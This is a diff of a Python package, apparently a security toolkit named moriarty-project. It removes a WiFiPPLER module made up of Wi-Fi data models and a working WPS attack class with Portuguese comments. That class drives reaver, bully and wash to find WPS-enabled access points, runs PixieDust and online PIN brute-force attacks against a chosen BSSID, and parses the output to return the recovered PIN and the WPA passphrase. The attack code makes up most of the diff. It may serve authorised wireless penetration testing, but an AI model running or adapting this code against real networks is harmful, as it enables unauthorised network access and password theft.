moriarty-project 0.1.20__py3-none-any.whl → 0.1.23__py3-none-any.whl

moriarty/modules/wifippler/core/attacks/wps.py

@@ -1,474 +0,0 @@
-"""
-Módulo de ataque WPS (WiFi Protected Setup).
-
-Este módulo implementa ataques contra redes WPS, incluindo:
-- Ataque de força bruta ao PIN WPS
-- Ataque PixieDust
-- Ataque de PIN online
-"""
-import os
-import re
-import time
-import logging
-import subprocess
-from typing import Optional, Dict, List, Tuple, Any
-from dataclasses import dataclass, field
-from enum import Enum, auto
-
-from rich.console import Console
-from rich.progress import Progress, SpinnerColumn, TextColumn
-
-from ...core.models.network import WiFiNetwork
-from ...core.utils import (
-    is_root, check_dependencies, get_network_interfaces,
-    set_monitor_mode, restore_network_interface, command_exists
-)
-
-# Configuração de logging
-logging.basicConfig(level=logging.INFO)
-logger = logging.getLogger(__name__)
-console = Console()
-
-class WPSEventType(Enum):
-    """Tipos de eventos do WPS."""
-    START = auto()
-    PIN_FOUND = auto()
-    PIXIE_DUST = auto()
-    ONLINE_BRUTE = auto()
-    ERROR = auto()
-    COMPLETE = auto()
-
-@dataclass
-class WPSEvent:
-    """Evento de progresso do ataque WPS."""
-    type: WPSEventType
-    message: str = ""
-    data: Dict[str, Any] = field(default_factory=dict)
-
-class WPSAttack:
-    """Classe para realizar ataques WPS."""
-    
-    def __init__(self, interface: str = None, timeout: int = 300):
-        """
-        Inicializa o ataque WPS.
-        
-        Args:
-            interface: Interface de rede para usar no ataque
-            timeout: Tempo máximo de execução em segundos
-        """
-        self.interface = interface
-        self.timeout = timeout
-        self.is_running = False
-        self.stop_requested = False
-        self.current_pin = ""
-        self.pins_tried = 0
-        self.pin_found = False
-        self.pin = ""
-        self.psk = ""
-        
-        # Verifica dependências
-        self._check_dependencies()
-        
-        # Verifica privilégios
-        if not is_root():
-            raise PermissionError("Este ataque requer privilégios de root")
-    
-    def _check_dependencies(self) -> None:
-        """Verifica se todas as dependências necessárias estão instaladas."""
-        required = ['reaver', 'bully', 'wash', 'aircrack-ng']
-        missing = [cmd for cmd in required if not command_exists(cmd)]
-        
-        if missing:
-            raise RuntimeError(
-                f"As seguintes dependências estão faltando: {', '.join(missing)}\n"
-                "Instale-as com: sudo apt install reaver bully aircrack-ng"
-            )
-    
-    def scan_wps_networks(self, channel: int = None) -> List[Dict[str, Any]]:
-        """
-        Escaneia redes com WPS ativado.
-        
-        Args:
-            channel: Canal específico para escanear (opcional)
-            
-        Returns:
-            Lista de redes com WPS ativado
-        """
-        networks = []
-        
-        try:
-            # Cria um arquivo temporário para armazenar a saída
-            import tempfile
-            with tempfile.NamedTemporaryFile(delete=False) as tmp_file:
-                output_file = tmp_file.name
-            
-            # Comando para escanear redes WPS
-            cmd = ['wash', '-i', self.interface, '-o', output_file, '--ignore-fcs']
-            if channel:
-                cmd.extend(['-c', str(channel)])
-            
-            console.print("[cyan]Escaneando redes WPS...[/]")
-            
-            # Executa o comando
-            with Progress(
-                SpinnerColumn(),
-                TextColumn("[progress.description]{task.description}"),
-                console=console,
-                transient=True,
-            ) as progress:
-                task = progress.add_task("Escaneando redes WPS...", total=None)
-                
-                try:
-                    # Executa o wash por 30 segundos
-                    process = subprocess.Popen(
-                        cmd,
-                        stdout=subprocess.PIPE,
-                        stderr=subprocess.PIPE,
-                        universal_newlines=True
-                    )
-                    
-                    # Aguarda o término ou timeout
-                    for _ in range(30):  # 30 segundos de escaneamento
-                        if process.poll() is not None:
-                            break
-                        time.sleep(1)
-                    
-                    # Encerra o processo
-                    process.terminate()
-                    try:
-                        process.wait(timeout=5)
-                    except subprocess.TimeoutExpired:
-                        process.kill()
-                    
-                    # Lê o arquivo de saída
-                    with open(output_file, 'r') as f:
-                        lines = f.readlines()
-                    
-                    # Processa a saída
-                    for line in lines:
-                        line = line.strip()
-                        if not line or line.startswith('BSSID') or line.startswith('---'):
-                            continue
-                        
-                        # Formato: BSSID Channel RSSI WPS Version WPS Locked ESSID
-                        parts = re.split(r'\s{2,}', line)
-                        if len(parts) >= 6:
-                            network = {
-                                'bssid': parts[0].strip(),
-                                'channel': int(parts[1]),
-                                'rssi': int(parts[2]),
-                                'wps_version': parts[3],
-                                'wps_locked': parts[4].lower() == 'yes',
-                                'ssid': parts[5] if len(parts) > 5 else ''
-                            }
-                            networks.append(network)
-                    
-                    progress.update(task, completed=1, visible=False)
-                    
-                except Exception as e:
-                    logger.error(f"Erro ao escanear redes WPS: {e}")
-                    progress.update(task, visible=False)
-                    
-        except Exception as e:
-            logger.error(f"Erro ao escanear redes WPS: {e}")
-            
-        finally:
-            # Remove o arquivo temporário
-            try:
-                if os.path.exists(output_file):
-                    os.unlink(output_file)
-            except:
-                pass
-        
-        return networks
-    
-    def pixie_dust_attack(self, bssid: str, channel: int, callback=None) -> Tuple[bool, str, str]:
-        """
-        Realiza o ataque PixieDust contra uma rede WPS.
-        
-        Args:
-            bssid: Endereço MAC do ponto de acesso
-            channel: Canal da rede
-            callback: Função de callback para eventos
-            
-        Returns:
-            Tupla (sucesso, PIN, PSK)
-        """
-        self.is_running = True
-        self.stop_requested = False
-        self.pin_found = False
-        self.pin = ""
-        self.psk = ""
-        
-        # Configura o monitoramento de eventos
-        def event_handler(event_type: WPSEventType, message: str = "", **kwargs):
-            if callback:
-                event = WPSEvent(type=event_type, message=message, data=kwargs)
-                callback(event)
-        
-        try:
-            # Verifica se o bully está disponível
-            if not command_exists('bully'):
-                event_handler(
-                    WPSEventType.ERROR,
-                    "O comando 'bully' não foi encontrado. Instale-o com: sudo apt install bully"
-                )
-                return False, "", ""
-            
-            # Cria um arquivo temporário para armazenar a saída
-            import tempfile
-            with tempfile.NamedTemporaryFile(delete=False) as tmp_file:
-                output_file = tmp_file.name
-            
-            # Comando para o ataque PixieDust
-            cmd = [
-                'bully',
-                '-b', bssid,          # BSSID do alvo
-                '-c', str(channel),   # Canal
-                '-p', '1',            # Modo PixieDust
-                '--pixie-dust',       # Força o ataque PixieDust
-                '-v', '3',            # Modo verboso
-                '-F',                 # Ignora erros de FCS
-                '-B',                 # Ignora bloqueios
-                '-d',                 # Mostra códigos PIN
-                '-l', '100',          # Limite de tentativas
-                '--pixie-sleep', '1', # Tempo de espera entre tentativas
-                self.interface        # Interface de rede
-            ]
-            
-            event_handler(WPSEventType.START, "Iniciando ataque PixieDust...")
-            
-            # Executa o comando
-            process = subprocess.Popen(
-                cmd,
-                stdout=subprocess.PIPE,
-                stderr=subprocess.STDOUT,
-                universal_newlines=True
-            )
-            
-            # Monitora a saída
-            pin_pattern = re.compile(r'\[\+\]\s+Pin\s+is\s+([0-9]{8})')
-            psk_pattern = re.compile(r'\[\+\]\s+WPA\s+PSK:\s+([^\s]+)')
-            
-            start_time = time.time()
-            
-            while True:
-                # Verifica timeout
-                if time.time() - start_time > self.timeout:
-                    event_handler(
-                        WPSEventType.ERROR,
-                        "Tempo limite excedido no ataque PixieDust"
-                    )
-                    process.terminate()
-                    break
-                
-                # Verifica se foi solicitado para parar
-                if self.stop_requested:
-                    event_handler(
-                        WPSEventType.ERROR,
-                        "Ataque interrompido pelo usuário"
-                    )
-                    process.terminate()
-                    break
-                
-                # Lê a saída
-                line = process.stdout.readline()
-                if not line and process.poll() is not None:
-                    break
-                
-                if line:
-                    # Verifica se encontrou o PIN
-                    pin_match = pin_pattern.search(line)
-                    if pin_match:
-                        self.pin = pin_match.group(1)
-                        self.pin_found = True
-                        event_handler(
-                            WPSEventType.PIN_FOUND,
-                            f"PIN encontrado: {self.pin}",
-                            pin=self.pin
-                        )
-                    
-                    # Verifica se encontrou a PSK
-                    psk_match = psk_pattern.search(line)
-                    if psk_match:
-                        self.psk = psk_match.group(1)
-                        event_handler(
-                            WPSEventType.COMPLETE,
-                            f"Senha encontrada: {self.psk}",
-                            pin=self.pin,
-                            psk=self.psk
-                        )
-                        return True, self.pin, self.psk
-                    
-                    # Envia a saída para o callback
-                    event_handler(WPSEventType.PIXIE_DUST, line.strip())
-            
-            # Verifica se o processo terminou com sucesso
-            if process.poll() == 0 and self.pin_found:
-                return True, self.pin, self.psk
-            
-            return False, "", ""
-            
-        except Exception as e:
-            event_handler(
-                WPSEventType.ERROR,
-                f"Erro durante o ataque PixieDust: {str(e)}"
-            )
-            return False, "", ""
-            
-        finally:
-            self.is_running = False
-            # Remove o arquivo temporário
-            try:
-                if os.path.exists(output_file):
-                    os.unlink(output_file)
-            except:
-                pass
-    
-    def online_brute_force(self, bssid: str, channel: int, pin_file: str = None, 
-                          callback=None) -> Tuple[bool, str, str]:
-        """
-        Realiza um ataque de força bruta online ao PIN WPS.
-        
-        Args:
-            bssid: Endereço MAC do ponto de acesso
-            channel: Canal da rede
-            pin_file: Caminho para o arquivo de PINs (opcional)
-            callback: Função de callback para eventos
-            
-        Returns:
-            Tupla (sucesso, PIN, PSK)
-        """
-        self.is_running = True
-        self.stop_requested = False
-        self.pin_found = False
-        self.pin = ""
-        self.psk = ""
-        
-        # Configura o monitoramento de eventos
-        def event_handler(event_type: WPSEventType, message: str = "", **kwargs):
-            if callback:
-                event = WPSEvent(type=event_type, message=message, data=kwargs)
-                callback(event)
-        
-        try:
-            # Verifica se o reaver está disponível
-            if not command_exists('reaver'):
-                event_handler(
-                    WPSEventType.ERROR,
-                    "O comando 'reaver' não foi encontrado. Instale-o com: sudo apt install reaver"
-                )
-                return False, "", ""
-            
-            # Cria um arquivo temporário para armazenar a saída
-            import tempfile
-            with tempfile.NamedTemporaryFile(delete=False) as tmp_file:
-                output_file = tmp_file.name
-            
-            # Comando para o ataque de força bruta
-            cmd = [
-                'reaver',
-                '-i', self.interface,  # Interface de rede
-                '-b', bssid,          # BSSID do alvo
-                '-c', str(channel),   # Canal
-                '-vv',                # Modo verboso
-                '-K', '1',           # Executa o ataque PixieDust primeiro
-                '-N', 'F:'            # Ignora relatórios de estado
-            ]
-            
-            # Adiciona o arquivo de PINs, se fornecido
-            if pin_file and os.path.exists(pin_file):
-                cmd.extend(['-p', pin_file])
-            
-            event_handler(WPSEventType.START, "Iniciando ataque de força bruta online...")
-            
-            # Executa o comando
-            process = subprocess.Popen(
-                cmd,
-                stdout=subprocess.PIPE,
-                stderr=subprocess.STDOUT,
-                universal_newlines=True
-            )
-            
-            # Monitora a saída
-            pin_pattern = re.compile(r'\[\+\]\s+PIN\s+is\s+'r'([0-9]{8})')
-            psk_pattern = re.compile(r'\[\+\]\s+WPA\s+PSK:\s+([^\s]+)')
-            
-            start_time = time.time()
-            
-            while True:
-                # Verifica timeout
-                if time.time() - start_time > self.timeout:
-                    event_handler(
-                        WPSEventType.ERROR,
-                        "Tempo limite excedido no ataque de força bruta"
-                    )
-                    process.terminate()
-                    break
-                
-                # Verifica se foi solicitado para parar
-                if self.stop_requested:
-                    event_handler(
-                        WPSEventType.ERROR,
-                        "Ataque interrompido pelo usuário"
-                    )
-                    process.terminate()
-                    break
-                
-                # Lê a saída
-                line = process.stdout.readline()
-                if not line and process.poll() is not None:
-                    break
-                
-                if line:
-                    # Verifica se encontrou o PIN
-                    pin_match = pin_pattern.search(line)
-                    if pin_match:
-                        self.pin = pin_match.group(1)
-                        self.pin_found = True
-                        event_handler(
-                            WPSEventType.PIN_FOUND,
-                            f"PIN encontrado: {self.pin}",
-                            pin=self.pin
-                        )
-                    
-                    # Verifica se encontrou a PSK
-                    psk_match = psk_pattern.search(line)
-                    if psk_match:
-                        self.psk = psk_match.group(1)
-                        event_handler(
-                            WPSEventType.COMPLETE,
-                            f"Senha encontrada: {self.psk}",
-                            pin=self.pin,
-                            psk=self.psk
-                        )
-                        return True, self.pin, self.psk
-                    
-                    # Envia a saída para o callback
-                    event_handler(WPSEventType.ONLINE_BRUTE, line.strip())
-            
-            # Verifica se o processo terminou com sucesso
-            if process.poll() == 0 and self.pin_found:
-                return True, self.pin, self.psk
-            
-            return False, "", ""
-            
-        except Exception as e:
-            event_handler(
-                WPSEventType.ERROR,
-                f"Erro durante o ataque de força bruta: {str(e)}"
-            )
-            return False, "", ""
-            
-        finally:
-            self.is_running = False
-            # Remove o arquivo temporário
-            try:
-                if os.path.exists(output_file):
-                    os.unlink(output_file)
-            except:
-                pass
-    
-    def stop(self):
-        """Solicita a interrupção do ataque."""
-        self.stop_requested = True

moriarty/modules/wifippler/core/models/__init__.py

@@ -1,10 +0,0 @@
-"""
-Modelos de dados para o módulo WiFiPPLER.
-"""
-
-from .network import WiFiNetwork, WiFiClient
-
-__all__ = [
-    'WiFiNetwork',
-    'WiFiClient'
-]

moriarty/modules/wifippler/core/models/network.py

@@ -1,216 +0,0 @@
-"""
-Modelos de dados para redes e clientes WiFi.
-"""
-from dataclasses import dataclass, field, asdict
-from datetime import datetime
-from typing import Dict, List, Optional, Set, Tuple, Any
-from enum import Enum, auto
-import json
-
-
-class WiFiSecurityType(Enum):
-    """Tipos de segurança WiFi suportados."""
-    NONE = auto()
-    WEP = auto()
-    WPA = auto()
-    WPA2 = auto()
-    WPA3 = auto()
-    WPA2_ENTERPRISE = auto()
-    WPA3_ENTERPRISE = auto()
-    OWE = auto()  # Opportunistic Wireless Encryption (OWE)
-    WPS = auto()   # WiFi Protected Setup
-
-
-class WiFiCipherType(Enum):
-    """Tipos de cifra suportados."""
-    NONE = auto()
-    WEP_40 = auto()
-    WEP_104 = auto()
-    TKIP = auto()
-    CCMP = auto()
-    GCMP = auto()
-
-
-class WiFiAuthType(Enum):
-    """Tipos de autenticação suportados."""
-    OPEN = auto()
-    SHARED = auto()
-    WPA_PSK = auto()
-    WPA_EAP = auto()
-    WPA2_PSK = auto()
-    WPA2_EAP = auto()
-    WPA3_SAE = auto()
-    WPA3_EAP = auto()
-    OWE = auto()
-
-
-@dataclass
-class WiFiNetwork:
-    """Representa uma rede WiFi descoberta."""
-    # Identificação
-    bssid: str
-    ssid: str
-    channel: int
-    frequency: int  # Em MHz
-    band: str  # 2.4GHz, 5GHz, 6GHz, etc.
-    
-    # Sinal e qualidade
-    signal_dbm: int  # Potência do sinal em dBm
-    signal_percent: int  # Porcentagem de qualidade do sinal (0-100%)
-    noise_dbm: int  # Nível de ruído em dBm
-    
-    # Segurança
-    security: WiFiSecurityType
-    encryption: str  # Ex: WPA2, WPA3, WEP, etc.
-    cipher: WiFiCipherType
-    auth: WiFiAuthType
-    
-    # WPS (WiFi Protected Setup)
-    wps: bool = False
-    wps_locked: bool = False
-    wps_version: str = ""
-    wps_state: str = ""
-    
-    # Clientes conectados
-    clients: List['WiFiClient'] = field(default_factory=list)
-    
-    # Metadados
-    first_seen: datetime = field(default_factory=datetime.utcnow)
-    last_seen: datetime = field(default_factory=datetime.utcnow)
-    vendor: str = ""  # Fabricante do roteador baseado no OUI do BSSID
-    country: str = ""  # Código do país
-    
-    # Flags adicionais
-    is_hidden: bool = False
-    is_associated: bool = False
-    is_internet: bool = False  # Se a rede tem acesso à internet
-    
-    # Estatísticas
-    beacon: int = 0
-    data: int = 0
-    data_rate: float = 0.0  # Em Mbps
-    
-    # Informações adicionais
-    extra: Dict[str, Any] = field(default_factory=dict)
-    
-    def to_dict(self) -> Dict[str, Any]:
-        """Converte o objeto para dicionário."""
-        data = asdict(self)
-        # Converte enums para strings
-        data['security'] = self.security.name
-        data['cipher'] = self.cipher.name
-        data['auth'] = self.auth.name
-        # Converte datetimes para strings ISO
-        data['first_seen'] = self.first_seen.isoformat()
-        data['last_seen'] = self.last_seen.isoformat()
-        # Converte clientes para dicionários
-        data['clients'] = [client.to_dict() for client in self.clients]
-        return data
-    
-    def to_json(self, indent: int = 2) -> str:
-        """Converte o objeto para JSON."""
-        return json.dumps(self.to_dict(), indent=indent, ensure_ascii=False)
-    
-    def update_signal(self, signal_dbm: int, noise_dbm: int):
-        """Atualiza as métricas de sinal."""
-        self.signal_dbm = signal_dbm
-        self.noise_dbm = noise_dbm
-        self.signal_percent = self._calculate_signal_percentage(signal_dbm, noise_dbm)
-        self.last_seen = datetime.utcnow()
-    
-    def add_client(self, client: 'WiFiClient'):
-        """Adiciona um cliente à rede."""
-        # Verifica se o cliente já existe
-        for idx, c in enumerate(self.clients):
-            if c.mac == client.mac:
-                self.clients[idx] = client
-                return
-        self.clients.append(client)
-    
-    def remove_client(self, mac: str) -> bool:
-        """Remove um cliente da rede."""
-        for idx, client in enumerate(self.clients):
-            if client.mac == mac:
-                self.clients.pop(idx)
-                return True
-        return False
-    
-    @staticmethod
-    def _calculate_signal_percentage(signal_dbm: int, noise_dbm: int) -> int:
-        """Calcula a porcentagem de qualidade do sinal."""
-        # Se não houver sinal, retorna 0%
-        if signal_dbm == 0 or signal_dbm <= -100:
-            return 0
-        
-        # Se o sinal for maior que -50dBm, retorna 100%
-        if signal_dbm >= -50:
-            return 100
-        
-        # Calcula a porcentagem baseada na força do sinal
-        # Considerando -100dBm como 0% e -50dBm como 100%
-        return 2 * (signal_dbm + 100)
-
-
-@dataclass
-class WiFiClient:
-    """Representa um cliente conectado a uma rede WiFi."""
-    # Identificação
-    mac: str
-    ip: str = ""
-    hostname: str = ""
-    vendor: str = ""  # Fabricante baseado no OUI do MAC
-    
-    # Sinal e conexão
-    signal_dbm: int = 0
-    signal_percent: int = 0
-    rx_rate: float = 0.0  # Em Mbps
-    tx_rate: float = 0.0  # Em Mbps
-    
-    # Metadados
-    first_seen: datetime = field(default_factory=datetime.utcnow)
-    last_seen: datetime = field(default_factory=datetime.utcnow)
-    
-    # Informações adicionais
-    is_associated: bool = False
-    is_authenticated: bool = False
-    is_wps: bool = False
-    
-    # Estatísticas
-    packets: int = 0
-    data: int = 0  # Em bytes
-    
-    # Informações adicionais
-    extra: Dict[str, Any] = field(default_factory=dict)
-    
-    def to_dict(self) -> Dict[str, Any]:
-        """Converte o objeto para dicionário."""
-        data = asdict(self)
-        # Converte datetimes para strings ISO
-        data['first_seen'] = self.first_seen.isoformat()
-        data['last_seen'] = self.last_seen.isoformat()
-        return data
-    
-    def to_json(self, indent: int = 2) -> str:
-        """Converte o objeto para JSON."""
-        return json.dumps(self.to_dict(), indent=indent, ensure_ascii=False)
-    
-    def update_signal(self, signal_dbm: int):
-        """Atualiza as métricas de sinal."""
-        self.signal_dbm = signal_dbm
-        self.signal_percent = self._calculate_signal_percentage(signal_dbm)
-        self.last_seen = datetime.utcnow()
-    
-    @staticmethod
-    def _calculate_signal_percentage(signal_dbm: int) -> int:
-        """Calcula a porcentagem de qualidade do sinal."""
-        # Se não houver sinal, retorna 0%
-        if signal_dbm == 0 or signal_dbm <= -100:
-            return 0
-        
-        # Se o sinal for maior que -50dBm, retorna 100%
-        if signal_dbm >= -50:
-            return 100
-        
-        # Calcula a porcentagem baseada na força do sinal
-        # Considerando -100dBm como 0% e -50dBm como 100%
-        return 2 * (signal_dbm + 100)